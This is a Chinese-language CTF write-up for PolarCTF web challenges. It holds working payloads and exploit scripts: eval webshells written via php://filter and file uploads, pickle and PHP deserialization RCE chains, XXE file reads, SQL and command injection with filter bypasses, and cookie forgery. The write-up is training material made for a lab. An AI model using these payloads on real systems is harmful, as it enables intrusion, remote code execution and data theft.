polar靶场-MISC,WEB(中等)
WEB
到底给不给flag呢
<meta http-equiv='Content-Type' content='text/html; charset=utf-8' /> <?php highlight_file('1.txt'); echo "<br><br>"; $flag = 'flag{f73da0c8e7c774d488a6df0fec2890d9}'; $qwq= '我想要flag'; $QAQ = '我又不想要flag了,滚吧'; if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($qwq); } if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ exit($QAQ); } foreach ($_POST as $key => $value) { $$key = $value; } foreach ($_GET as $key => $value) { $$key = $$value; } echo $flag; 这一题考察变量覆盖,题目给的flag是假的,并且必须要传入一个flag变量,否则会执行exit($qwq),这是使用的是&&,与就是说get和post至少有一个flag参数的传参就会绕过exit语句,这里先用get举例,这里传入?flag=qwq,
此时满足$_GET['flag'],并且参数值不是flag,然后进行foreach,
这里$key=flag,$vallue=qwq,$$key=$flag,$$value=$qwq=我想要flag
$key=$flag=$$value=$qwq=我想要flag
那么最后输出的flag就是我想要flag

到这里就有第一种解法,get传参 ?a=flag&flag=a;
前两个if语句就绕过了,也没有post传参,直接进行get的foreach
有两个
key=a ,value=flag
$$key=$$value就成了 $a=$flag
key=flag ,value=a
$$key=$$value就成了 $flag=$a,此时$a的值就是flag赋值给$flag
最后输出$flag得到flag

注意这里顺序不能乱,由于$a的值为空,会导致最后输出的$flag为空
然后还有一种比较高级的方法,
get ?flag=a
post _GET['flag']=flag
先了解一下表单字段名与 PHP 的解析规则,get传参在本题中?flag=a会被解析成
$_GET['flag'] === 'a'
在常规的post传参中比如 a=b,会被解析为
会被解析为 $_POST['a'] === 'b'
键名包含方括号 [] 时,它会自动解析为嵌套数组,而不是简单字符串键
a[b]=v → $_POST['a']['b'] === 'v'。
支持任意层级:a[b][c]=v → $_POST['a']['b']['c'] === 'v'。
空键表示数组追加:arr[]=x&arr[]=y → $_POST['arr'] === ['x','y']。
那么_GET['flag']=flag就会被解析为
$_POST['_GET']['flag'] = 'flag'
$_POST = [ '_GET' => [ // 顶层键 '_GET' 'flag' => 'flag' // 子键 'flag' 的值为 'flag' ] ];脚本刚开始
超全局 $_GET = ['flag' => 'a']
超全局 $_POST = ['_GET' => ['flag' => 'flag']]
易知这两个参数能够绕过if语句,然后是
foreach ($_POST as $key => $value) { $$key = $value; }首先键是$key=_GET, $value= ['flag'='flag']
那么$$key=$_GET 是超全局变量,$$key=$value,此时$_GET = ['flag' => 'flag'],就修改了超全局变量,然后进行下一步
foreach ($_GET as $key => $value) { $$key = $$value; }然后到这里$key=flag,$value=flag
$flag=$flag
然后就输出flag.
写shell
<?php /* PolarD&N CTF */ highlight_file(__FILE__); file_put_contents($_GET['filename'],"<?php exit();".$_POST['content']); ?>经典死亡绕过,这里使用base64编码绕过
filename=php://filter/write=convert.base64-decode/resource=shell.php
content= aPD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7Pz4=
写入后就可以进行rce

利用base64编码,将死亡代码解析成为乱码,使得PHP引擎无法识别
filename=php://filter/convert.base64-decode/resource=shell.php
content=aPD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7Pz4= (PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7Pz4= base64解码<?php eval($_POST['1']);?>)
在base64解码过程中,<>?""这些符号无法被解码所以会直接绕过,解码的只有phpexit这7个字符,所以在content中衔接一个a,构成8个字符,base64在解码的时候,是4个字节转化为3个字节,又因为死亡代码只有phpexit着7个字节参与了解码,所以补上一位就可以完全转化,转换后死亡代码就是乱码,而后面的代码解码后就是木马。

注入
这一关主要考察XPATH注入,之前没接触过,相关知识点可以看xpath注入详解 - 渗透测试中心 - 博客园
就是用万能密码
?id=']|//*|//*['
某函数的复仇
<?php highlight_file(__FILE__); //flag:/flag if(isset($_POST['shaw'])){ $shaw = $_POST['shaw']; $root = $_GET['root']; if(preg_match('/^[a-z_]*$/isD',$shaw)){ if(!preg_match('/rm|ch|nc|net|ex|\-|de|cat|tac|strings|h|wget|\?|cp|mv|\||so|\$/i',$root)){ $shaw('',$root); }else{ echo "Almost there^^"; } } } ?>根据题目提示是应该是要使用某个php代码执行函数,看wp才知道用create_function
$shaw('',$root),表明第一个参数为空
create_function() 是 PHP 中一个用于动态创建匿名函数的内置函数,不过需要注意的是,这个函数在 PHP 7.2.0 中已被废弃,并且在 PHP 8.0.0 中被移除。现在更推荐使用匿名函数(闭包)语法来替代它。
create_function(string $args, string $code): string
第一个参数是空字符串(函数的参数列表为空)。
第二个参数是$root,即我们传入的字符串会作为函数体。
function anonymous() { 函数体 } payload
root=;}system('ca\t /f*');/*
shaw=create_function
这样就等价
function anonymous() { ;}system('ca\t /f*');/* };}闭合前面的函数,然后是system函数,最后注释掉后面的}完成闭合
xxe
根据题目提示就是考察xxe了,题目给了phpinfo,然后就没啥能干的了,dirsearch扫一下有个dom.php可以访问,得到报错信息
Warning: DOMDocument::loadXML(): Empty string supplied as input in /var/www/html/dom.php on line 5 DOMDocument Object ( [doctype] => [implementation] => (object value omitted) [documentElement] => [actualEncoding] => [encoding] => [xmlEncoding] => [standalone] => 1 [xmlStandalone] => 1 [version] => 1.0 [xmlVersion] => 1.0 [strictErrorChecking] => 1 [documentURI] => [config] => [formatOutput] => [validateOnParse] => [resolveExternals] => [preserveWhiteSpace] => 1 [recover] => [substituteEntities] => [nodeName] => #document [nodeValue] => [nodeType] => 9 [parentNode] => [childNodes] => (object value omitted) [firstChild] => [lastChild] => [previousSibling] => [nextSibling] => [attributes] => [ownerDocument] => [namespaceURI] => [prefix] => [localName] => [baseURI] => [textContent] => )loadXML()方法的作用是从字符串加载 XML 内容并解析,如果传入的字符串为空,就会触发这个警告,因为无法解析空内容生成 XML 文档
随便传一个根节点<root></root>

成功解析,这就可以构造payload读取flag
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=flagggg.php"> ]> <root>&file;</root>SSTI
根据题目提示知道是模板注入,先测试一下
?name={{7*7}}
回显49,jinja2模板,fenjing直接一把梭

unpickle
ai写个脚本就行了
import pickle import base64 import requests import sys # 目标URL - 改为 HTTP 以避免 SSL 错误(端口 8090 很可能未启用 HTTPS) url = "http://33f7ff79-3990-4951-bc71-fd78ffaa6414.www.polarctf.com:8090" # 如果没有提供命令作为参数,使用默认的 'cat /flag.txt' if len(sys.argv) > 1:.join(sys.argv[1:]) else: command = "cat /flag*" print(f"使用默认命令: {command}") print("用法: python script.py 'your_command_here'") # 定义恶意类,用于pickle反序列化时执行shell命令 class R(object): def __reduce__(self): # 执行shell命令并返回输出 return (eval, ('__import__("os").popen("{}").read()'.format(command),)) # 生成payload data = pickle.dumps(R()) encoded = base64.b64encode(data).decode('utf-8') print(f"生成的Cookie值: {encoded}") # 发送请求 - 使用 HTTP cookies = {'user': encoded} try: response = requests.get(url, cookies=cookies, timeout=10, verify=False) # verify=False 以防任何证书问题 print("响应内容:") print(response.text) except requests.exceptions.RequestException as e: print(f"请求失败: {e}") print("尝试手动使用 curl: curl -b 'user={encoded}' http://33f7ff79-3990-4951-bc71-fd78ffaa6414.www.polarctf.com:8090".format(encoded=encoded))BlackMagic
import requests import re import urllib.parse # 目标URL url = "http://9acda7f8-e7ee-4063-984e-99157d2643e4.www.polarctf.com:8090/BlackMagic.php" # 第一步:获取页面源代码 response = requests.get(url) if response.status_code != 200: print(f"无法访问页面: {response.status_code}") exit(1) html = response.text # 第二步:提取HTML注释中的PHP代码 comment_match = re.search(r'<!--\s*(.*?)\s*-->', html, re.DOTALL) if not comment_match: print("未找到PHP代码注释") print("页面内容:", html) # 调试输出 exit(1) php_code = comment_match.group(1) # 第三步:提取 $strCharList charlist_match = re.search(r'\$strCharList\s*=\s*"(.*?)";', php_code, re.DOTALL) if not charlist_match: print("未找到 $strCharList") exit(1) raw_charlist = charlist_match.group(1) # 解析PHP转义序列(基本转义) charlist = raw_charlist.replace(r'\r', '\r').replace(r'\n', '\n').replace(r'\0', '\0').replace(r'\x0B', '\x0B').replace('\\\\', '\\').replace(r'\"', '"') # 第四步:提取 $strFlag flag_match = re.search(r'\$strFlag\s*=\s*"(.*?)";', php_code, re.DOTALL) if not flag_match: print("未找到 $strFlag") exit(1) raw_flag = flag_match.group(1) # 解析PHP转义序列 str_flag = raw_flag.replace(r'\r', '\r').replace(r'\n', '\n').replace(r'\0', '\0').replace(r'\x0B', '\x0B').replace('\\\\', '\\').replace(r'\"', '"') # 第五步:实现trim功能(PHP trim移除指定字符,从两端) char_set = set(charlist) def php_trim(s, chars): char_set = set(chars) # 从开头移除 start = 0 while start < len(s) and s[start] in char_set: start += 1 # 从结尾移除 end = len(s) while end > start and s[end - 1] in char_set: end -= 1 return s[start:end] str_content = php_trim(str_flag, charlist) print(f"提取到的trim后内容: {repr(str_content)}") # repr 显示隐藏字符 # 第六步:发送exploit请求 exploit_params = {'strTmp': str_content} exploit_response = requests.get(url, params=exploit_params) print("Exploit响应:") print(exploit_response.text)反序列化
import requests import urllib.parse # 目标URL(替换为实际地址) url = "http://51b6d2b0-fe67-4874-9588-2ebbfbabdf64.www.polarctf.com:8090/" # 命令(可自定义:ls、cat flag.txt 等) command = "env" # 或 "ls" 测试 # 构造恶意代码 malicious_code = f"system('{command}');" code_length = len(malicious_code) # 生成序列化 payload payload = ( f'O:7:"example":1:{{s:6:"handle";O:7:"process":1:{{s:3:"pid";s:{code_length}:"{malicious_code}";}}}}' ) # URL 编码 encoded_payload = urllib.parse.quote(payload) # 完整 URL full_url = f"{url}?data={encoded_payload}" print(f"Payload: {payload}") print(f"Encoded: {encoded_payload}") print(f"Full URL: {full_url}") # 发送请求 response = requests.get(full_url) print("响应内容:") print(response.text)这里没有flag目录要查找
find / -name "flag*" 2>/dev/null
</code>/proc/sys/kernel/sched_domain/cpu0/domain0/flags /proc/sys/kernel/sched_domain/cpu0/domain1/flags /proc/sys/kernel/sched_domain/cpu1/domain0/flags /proc/sys/kernel/sched_domain/cpu1/domain1/flags /proc/sys/kernel/sched_domain/cpu2/domain0/flags /proc/sys/kernel/sched_domain/cpu2/domain1/flags /proc/sys/kernel/sched_domain/cpu3/domain0/flags /proc/sys/kernel/sched_domain/cpu3/domain1/flags /proc/sys/kernel/sched_domain/cpu4/domain0/flags /proc/sys/kernel/sched_domain/cpu4/domain1/flags /proc/sys/kernel/sched_domain/cpu5/domain0/flags /proc/sys/kernel/sched_domain/cpu5/domain1/flags /proc/sys/kernel/sched_domain/cpu6/domain0/flags /proc/sys/kernel/sched_domain/cpu6/domain1/flags /proc/sys/kernel/sched_domain/cpu7/domain0/flags /proc/sys/kernel/sched_domain/cpu7/domain1/flags /sys/devices/pnp0/00:04/tty/ttyS0/flags /sys/devices/platform/serial8250/tty/ttyS2/flags /sys/devices/platform/serial8250/tty/ttyS3/flags /sys/devices/platform/serial8250/tty/ttyS1/flags /sys/devices/virtual/net/eth0/flags /sys/devices/virtual/net/lo/flags /var/www/html/flag.php然后cat /var/www/html/flag.php
找找shell

ai神力,然后蚁剑连接,连不上。扫目录有shell.php。带上shell.php就能连上

再来ping一波啊
经典rce题目,经过初步测试过滤了空格,cat ls index,还有/。字符拼接index.php,ca''t绕过cat,$IFS绕过空格
127.0.0.1;a=inde;b=x.php;ca''t$IFS$a$b
flag在源码里
wu
<?php highlight_file(__FILE__); $a = $_GET['a']; if(preg_match("/[A-Za-z0-9]+/",$a)){ die("no!"); } @eval($a); ?>经典取反绕过
<?php $str = "system"; // 直接写入字符串,不需要空格分隔 echo "~"; foreach (str_split($str) as $char) { // 使用 str_split 将字符串按字符分割 echo "%" . bin2hex(~$char); // 取字符的 ASCII 值,按位取反并转为十六进制 } ?>?a=(~%8c%86%8c%8b%9a%92)((~%93%8c));
?a=(~%8C%86%8C%8B%9A%92)((~%9c%9e%8b%df%85%97%9a%8c%97%96%99%93%9e%98%d1%8f%97%8f));
代码审计1
<?php highlight_file(__FILE__); include('flag.php'); $sys = $_GET['sys']; if (preg_match("|flag|", $xsx)) { die("flag is no here!"); } else { $xsx = $_GET['xsx']; echo new $sys($xsx); }直接ai分析得到答案
?sys=SplFileObject&xsx=php://filter/convert.base64-encode/resource=flag.php
SplFileObject 是 PHP 标准库(SPL)中用于操作文件的一个内置类,主要作用是提供面向对象的方式来读取、写入和处理文件内容,尤其适合对文件进行逐行或按特定格式处理
由于题目对flag有过滤,用php伪协议读取flag
你的马呢?
先上传一个图片马上去,会对文件内容进行检查,使用短标签绕过, <?=eval($_POST['a']);?>
然后有文件包含直接访问上传的图片/index.php?file=uploads/a.jpg
然后一蚁剑连接flag在根目录
ezphp
跟上一题很像都是文件上传加文件包含,首先根据页面提示访问robots.txt得到3个路径
Disallow: /file Disallow: /uploads Disallow: /uploads/images
然后上传图片马,上传路径/uploads/images/4.png
然后开始读取文件
在/file/file.php
<?php /* PolarD&N CTF */ highlight_file('file.php'); $filename = $_GET['filename']; @include $filename; ?>?filename=../uploads/images/4.png
由于flag不在根目录,并且环境变量的flag是假的,所以用蚁剑连接方便寻找flag,flag在/home/webuser/flag
随机值
<?php include "flag.php"; class Index{ private $Polar1; private $Polar2; protected $Night; protected $Light; function getflag($flag){ $Polar2 = rand(0,100); if($this->Polar1 === $this->Polar2){ $Light = rand(0,100); if($this->Night === $this->Light){ echo $flag; } } else{ echo "Your wrong!!!"; } } } if(isset($_GET['sys'])){ $a = unserialize($_GET['sys']); $a->getflag($flag); } else{ highlight_file("index.php"); } ?>这一题只需要让4个属性的值相等就行了,因为代码中 $Polar2 = rand(0,100); $Light = rand(0,100);只是赋值给了局部变量,然后在比较时是通过this->属性比较属性的值,这里是局部变量的随机值并不影响属性的值因此只要这4个属性的值相等就行,payload
?sys=O%3A5%3A%22Index%22%3A4%3A%7Bs%3A13%3A%22%00Index%00Polar1%22%3Bi%3A0%3Bs%3A13%3A%22%00Index%00Polar2%22%3Bi%3A0%3Bs%3A8%3A%22%00%2A%00Night%22%3Bi%3A0%3Bs%3A8%3A%22%00%2A%00Light%22%3Bi%3A0%3B%7D
phpurl
附件给的加密文件名是base64编码,解码是index.phps,访问文件得到代码
<?php if("xxs"===$_GET[sys]) { echo("<p>Not a good idea!</p>"); exit(); } $_GET[sys] = urldecode($_GET[sys]); if($_GET[sys] == "xxs") { echo "<p>Welcome to polar LABS!</p>"; echo "<p>Flag: XXXXXXX </p>"; } ?> what can you find?这里考查双重编码绕过,xxs双重url编码为%2578%2578%2573,当我们传参后浏览器会自动解码一次变成%78%78%73,通过第一个if,然后urldecode又解码一次通过第二个if
?sys=%2578%2578%2573
search
首先判断为单引号闭合,然后发现有过滤,fuzz测试一下发现过滤了 " like from updatexml infromation_schema 空格
当是经过测试可以用大小写绕过关键字过滤,%09然后空格
query=1'%09Union%09select%091,2,database(),4,5#
query=1'%09Union%09select%091,2,group_concat(table_name),4,5%09From%09information_schema.tables%09wHere%09table_schema=database()#
query=1'%09Union%09select%091,2,group_concat(column_name),4,5%09From%09information_schema.columns%09wHere%09table_schema=database()#
query=1'%09Union%09select%091,2,group_concat(Flag),4,5%09From%09Flag#
file
根据提示那就dirsearch一下

上传php文件后修改为Content-Type:image/jpeg
然后上传,但是我上传后蚁剑连接不上,官方wp就是这么写的,那就换一种方式,还是同样的方式,文件内容改为
<?php system('cat /flag'); ?>
上传后就得到flag

PlayGame
<?php /* PolarD&N CTF */ class User{ public $name; public $age; public $sex; public function __toString() { return "name:".$this->name."age:".$this->age."sex:".$this->sex; } public function setName($name){ $this->name=$name; } public function setAge($age){ $this->$age=$age; } public function setSex($sex){ $this->$sex=$sex; } } class PlayGame{ public $user; public $gameFile="./game"; public function openGame(){ return file_get_contents($this->gameFile); } public function __destruct() { echo $this->user->name."GameOver!"; } public function __toString(){ return $this->user->name."PlayGame ". $this->user->age . $this->openGame(); } } if(isset($_GET['polar_flag.flag'])){ unserialize($_GET['polar_flag.flag']); }else{ highlight_file(__FILE__); }简单的链子,poc
<?php /* PolarD&N CTF */ class User{ public $name; public $age; public $sex; public function __toString() { return "name:".$this->name."age:".$this->age."sex:".$this->sex; } public function setName($name){ $this->name=$name; } public function setAge($age){ $this->$age=$age; } public function setSex($sex){ $this->$sex=$sex; } } class PlayGame{ public $user; public $gameFile="./game"; public function openGame(){ return 1; //file_get_contents($this->gameFile); } public function __destruct() { echo $this->user->name."GameOver!"; } public function __toString(){ return $this->user->name."PlayGame ". $this->user->age . $this->openGame(); } } $a = new PlayGame(); $a -> user = new User(); $a -> user -> name = new User(); $a -> user -> name -> name = new PlayGame(); $a -> user -> name -> name -> gameFile = '/flag'; echo serialize($a); 然后就是非法传参
当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_
那么最后的payload就是
/?polar[flag.flag=O:8:"PlayGame":2:{s:4:"user";O:4:"User":3:{s:4:"name";O:4:"User":3:{s:4:"name";O:8:"PlayGame":2:{s:4:"user";N;s:8:"gameFile";s:5:"/flag";}s:3:"age";N;s:3:"sex";N;}s:3:"age";N;s:3:"sex";N;}s:8:"gameFile";s:6:"./game";}
flag在源码里
ZEEKLOG
一眼ssrf,用file协议读取flag文件
?xxs=file:///flag.txt
Dragon
第一眼时sql注入,根据回显以为是ssti,没想到在cookie里

🤡🤡
tnl
这一题我真的吐槽一下出题人了,出的很好下次别出了,都是坑。首先输入以为时sql注入,但是根本就没法下输出大于2后就报错,然后dirsearch扫描

没一个有用的

我以为这是啥重要文件类,然后就看wp直接用php伪协议读取index。
php://filter/convert.base64-encode/resource=index
别问为啥不是index.php
<?php error_reporting(0); @$file = $_POST['twothree']; if(isset($file)) { if( strpos( $file, "1" ) !== false || strpos( $file, "2" ) !== false || strpos( $file, "index")){ include ($file . '.php'); } else{ echo "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'twothree'' at line 1"; } } ?>看源码我真绷不住了出题人你真是个,这里直接就拼接一个php所以不用后缀,然后就时这个报错时烟雾弹,最后读flag文件就行了
twothree=php://filter/convert.base64-encode/index/resource=flag
这里根据题目要求要含有index
你知道sys还能这样玩吗

这个我是真真没想到,一直以为时题目的问题,扫目录也没有扫出来啥东西,看wp才知道时sys.php
<?php show_source(__FILE__); if(isset($_POST['cmd'])){ echo "<pre>"; $cmd = $_POST['cmd']; if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget/i', $cmd)) { $output = system($cmd); echo $output; } echo "</pre>"; } ?>php -r 'system(hex2bin("6c73"));'
ls->6c73(十六进制),通过十六进制解码将6c73解码为然后执行
cmd=php -r 'system(hex2bin("636174202f666c61672e747874"));'
ExX?
依旧dirsearch起手,有dom.php.一眼xml,这跟xxe一样啊,
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=flagggg.php"> ]> <root>&file;</root>EZ_Host
我以为是ssrf类试了很久,扫目录

直接访问/flag就得到flag
传马
看源码是在前端有检验文件后缀,直接上传图片马修改文件后缀为php,然后就可以rce了

笑傲上传
跟上面的差不多,依旧老套路,上传图片马修改后缀,然后有后门文件
<?php header("Content-Type:text/html;charset=utf-8"); $file = $_GET['file']; if(isset($file)){ include $file; }else{ show_source(__file__); } /*这里是妙妙屋的后门*/ ?> 上传后直接打开图片得到上传路径upload/4320251111074427.gif,这个因人而异,然后开始文件包含,这里是绝对路经/var/www/html/upload/4320251111074427.gif
然后就进行rce

序列一下
<?php class Polar{ public $url = 'polarctf.com'; public $lt; public $b; function __destruct() { $a = $this->lt; $a($this->b); } } unserialize($_POST['x']); highlight_file(__FILE__); ?> 从这段 PHP 代码来看,它定义了一个Polar类,其中包含__destruct魔术方法。当Polar类的实例被销毁时,__destruct方法会被调用,该方法会将成员变量lt作为函数,并传入成员变量b作为参数来执行。
x=O:5:"Polar":3:{s:3:"url";s:12:"polarctf.com";s:2:"lt";s:6:"system";s:1:"b";s:7:"cat /f*";}
坏掉的上传页
这里上传表单不能上传,那就自己写一个
<!DOCTYPE html> <html lang="zh"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>文件上传表单</title> </head> <body> <h1>文件上传</h1> <form action="url" method="post" enctype="multipart/form-data"> <label for="file">选择文件:</label> <input type="file" name="file" required> <br><br> <input type="submit" value="上传文件"> </form> </body> </html>然后上传文件,上传成功后显示

dirsearch扫目录

访问后
<?php error_reporting(0); show_source(__FILE__); define("DB_FILE", UPLOAD_PATH . "database.db"); ?>访问database.db文件得到上传路径
2025-11-11 08:14:28 上传文件路径: ./uploadsabc/file_6912f0648f88b7.54977134.php
访问蚁剑连接
flag在/var/www/html/flag{???}文件中
xxmmll
dirsearch扫目录,访问文件

Note
扫目录

访问flag.txt得到flag
赌王
首先抓包爆破当摇到三个一样的

然后访问ed3d2c21991e3bef5e069713af9fa6ca.php
然后进入以下页面

在系统能接受范围内无论输入什么都会比输入的大1,然后测试xss
<script>alert(1)</script>

confirm也是弹窗函数
<script>confirm(1)</script>
得到进入下一关的地址
然后在源码有提示

随波逐流分析

有地址和4个1联想到xff伪造
x-forward-for:XXF头,代表请求端的ip,可以有多个逗号隔开。
X-Forward-For:1.1.1.1
当不添加时执行命令回显权限不足,然后抓包添加数据命令执行

复读机RCE
尝试执行命令但是一直回显不能说那就echo
echo `ls /`
echo `cat /flag`
xCsMsD
先注册然后登入,抓包看信息

这在cookie有个替换空格换成-,/换成\,那么命令就成了ls-\
cat-\flag
cat 被过滤了用tac
coke的登陆
coke??小猫老弟。先看提示账号时coke,还有result.php,没法访问。然后账号时coke,密码时cookie:coke-lishuai
登入后flag在源码里
bllbl_rce
尝试了很多命令绕过命令都是no,然后扫目录有/admin/admin.php,可以下载备份文件
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Command Query Tool</title> </head> <body> <h1>Command Query Tool</h1> <form action="index.php" method="post"> <label for="command">输入你的命令</label> <input type="text" name="command" required> <button type="submit">执行</button> </form> <?php if (isset($_POST['command'])) { $command = $_POST['command']; if (strpos($command, 'bllbl') === false) { die("no"); } echo "<pre>"; system ($command); echo "</pre>"; } ?> </body> </html> 执行的命令要包含bllbl,那就可以构造payload了
bllbl; ls /
bllbl;cat /flag
狗黑子的隐藏
看源码得知有隐藏的输入框,直接抓包就行,初步尝试后发现有过滤过滤了 / cat index
那就读取index.php了
ca''t i''n''d''e''x.php
<?php // 检查是否有POST请求且包含cmd参数 if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['cmd'])) { $cmd = $_POST['cmd']; // 强制切换到当前目录(重要安全措施) chdir(dirname(__FILE__)); // 过滤危险字符和关键字 $blacklist = array('f','g','cat', 'flag', '&', '|', '`','{', '}','in','nd','de','ex','head','tac','le','ss','mo','re','..','/','\\'); $is_dangerous = false; // 检查命令是否包含黑名单中的任何项 foreach ($blacklist as $item) { if (stripos($cmd, $item) !== false) { $is_dangerous = true; break; } } // 如果检测到危险操作,回显错误信息 if ($is_dangerous) { echo "不支持危险操作"; } else { // 检查过滤后的命令是否为空 if (!empty($cmd)) { // 执行过滤后的命令 system($cmd); } } } ?>看wp得知可以写如一句话木马cmd=echo '<?php @eval($_POST['a']);?>' > a.php
然后蚁剑连接
真假ECR
<?php error_reporting(0); highlight_file(__FILE__); header('content-type:text/html;charset=utf-8'); if (!isset($_GET['cmd'])) { echo("审题啊!."); } $cmd=$_GET['cmd']; if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("想要什么直接访问试试呢"); exit; } system($cmd); ?> 审题啊!.过滤了很多,但是\没有过滤,
l\s /
ca\t /fla\g
这是非预期解了,预期解做法参考https://sauy.top/2025/06/29/2025%E5%B9%B4%E5%A4%8F%E5%AD%A3%E4%B8%AA%E4%BA%BA%E6%8C%91%E6%88%98%E8%B5%9BPolarCTF-WEB/#%E7%9C%9F%E5%81%87ECR
2025年夏季个人挑战赛PolarCTF-WEB - Sauy's corner
nukaka_ser2
<?php class FlagReader { private $logfile = "/tmp/log.txt"; protected $content = "<?php system(\$_GET['cmd']); ?>"; public function __toString() { if (file_exists('/flag')) { return file_get_contents('/flag'); } else { return "Flag file not found!"; } } } class DataValidator { public static function check($input) { $filtered = preg_replace('/[^\w]/', '', $input); return strlen($filtered) > 10 ? true : false; } public function __invoke($data) { return self::check($data); } } class FakeDanger { private $buffer; public function __construct($data) { $this->buffer = base64_encode($data); } public function __wakeup() { if (rand(0, 100) > 50) { $this->buffer = str_rot13($this->buffer); } } } class VulnerableClass { public $logger; private $debugMode = false; public function __destruct() { if ($this->debugMode) { echo $this->logger; } else { $this->cleanup(); } } private function cleanup() { if ($this->logger instanceof DataValidator) { $this->logger = null; } } } function sanitize_input($data) { $data = trim($data); return htmlspecialchars($data, ENT_QUOTES); } if(isset($_GET['data'])) { $raw = base64_decode($_GET['data']); if (preg_match('/^[a-zA-Z0-9\/+]+={0,2}$/', $_GET['data'])) { unserialize($raw); } } else { highlight_file(__FILE__); } ?>unserialize → 结束时 destruct → debugMode=true → echo logger → toString 读 flag
TzoxNToiVnVsbmVyYWJsZUNsYXNzIjoyOntzOjY6ImxvZ2dlciI7TzoxMDoiRmxhZ1JlYWRlciI6Mjp7czoxOToiAEZsYWdSZWFkZXIAbG9nZmlsZSI7TjtzOjEwOiIAKgBjb250ZW50IjtOO31zOjI2OiIAVnVsbmVyYWJsZUNsYXNzAGRlYnVnTW9kZSI7YjoxO30=
你也玩铲吗
登入注册后得到提示
| <!--偷偷告诉你:auth的值需要是user:admin,但它的检查逻辑可能进行了一些编码,比如:base64......--> |
没啥思路扫目录吧

由管理员登入,cookie伪造user:admin,base64编码得到
dXNlcjphZG1pbg==
auth=dXNlcjphZG1pbg==
然后加到cookie,然后访问admin_login.php
import requests import base64 # 挑战 URL base_url = "http://7d0958fd-a7b5-4314-a1eb-fb9bcdaef55c.www.polarctf.com:8090" # 准备 Cookie: auth = base64("user:admin") auth_value = base64.b64encode(b"user:admin").decode('utf-8') # 创建 Session 以保持 Cookie session = requests.Session() session.cookies.set("auth", auth_value) # 访问 admin_login.php response = session.get(f"{base_url}/admin_login.php") # 输出响应内容(可能含 flag) print("响应状态码:", response.status_code) print("响应内容:") print(response.text) # 如果成功,搜索 flag 格式 if "flag{" in response.text: print("\n--- 可能找到 flag ---") print(response.text) else: print("\n未找到 flag,检查响应。")PolarCMS
这一题是一点不会,看wp复现吧,首先登入是admin/<我不理解密码为啥是<,提示是<是不允许的,还是太菜了然后进入登入界面
在新建页面存在ssti,题目说明试试java文本框,然后测试
${exec("ls")}

${exec("cat Dockerfile")}

狗黑子的舔狗日记
这一题很有意思,首先在页面有文件读取,可以使用伪协议读取index.php文件
?page=php://filter/convert.base64-encode/resource=index.php
<?php session_start(); define('PAGE_WECHAT', 'xiaoxi.php'); define('PAGE_MOMENTS', 'pengyouquan.php'); define('PAGE_PROFILE', 'wode.php'); $defaultPage = PAGE_MOMENTS; $currentPage = $_SESSION['current_page'] ?? $defaultPage; $allowedPages = [PAGE_WECHAT, PAGE_MOMENTS, PAGE_PROFILE]; if (isset($_GET['page']) && in_array($_GET['page'], $allowedPages)) { $currentPage = $_GET['page']; $_SESSION['current_page'] = $currentPage; chdir(dirname(__FILE__)); $is_dangerous = false; if ($is_dangerous) { echo "只允许当前目录"; } } if (isset($_GET['page'])) { $requestedPage = $_GET['page']; $baseDir = dirname(__FILE__); if (strpos($requestedPage, 'php://') === 0) { if (preg_match('/resource=([^&]+)/', $requestedPage, $matches)) { $resource = $matches[1]; $resource = urldecode($resource); if (strpos($resource, '/') !== false || strpos($resource, '\\') !== false || strpos($resource, '..') !== false) { die("不支持其他操作"); } include($requestedPage); exit; } } $fullPath = realpath($baseDir . DIRECTORY_SEPARATOR . $requestedPage); if ($fullPath === false || dirname($fullPath) !== $baseDir) { die("不支持其他操作"); } include($requestedPage); chdir(dirname(__FILE__)); $is_dangerous = false; if ($is_dangerous) { echo "只允许当前目录"; } exit; } $flag='ZmxhZ3vlpbPnpZ7nmoTlkI3lrZdtZDXliqDlr4Z9CnRpcHMgIOWls+elnuW+ruS/oeWPt++8mm52c2hlbg=='; if (in_array($currentPage, $allowedPages)) { include($currentPage); } else { include(PAGE_MOMENTS); } if (isset($_GET['action']) && $_GET['action'] === 'logout') { session_destroy(); header('Location: src/denglu.php'); exit; } ?>这里还有一个$flag
$flag=ZmxhZ3vlpbPnpZ7nmoTlkI3lrZdtZDXliqDlr4Z9CnRpcHMgIOWls+elnuW+ruS/oeWPt++8mm52c2hlbg==
再解一次
flag{女神的名字md5加密}
tips 女神微信号:nvshen
然后扫目录有一个www.zip,里面是一堆密码,很明显就是要爆破登陆女神的微信,

密码是nvshen345
登入如图

此时只要发一条消息舔狗就会秒回,🤡

女神是柳茹烟
flag{aa1e3ea993e122de5de6e387db6c8609}
出题人太有心了👍
polar快递
在文件有默认的账号密码,抓包是发现还有id参数,然后尝试越权

把id改为root

MISC
cat flag
cat flag
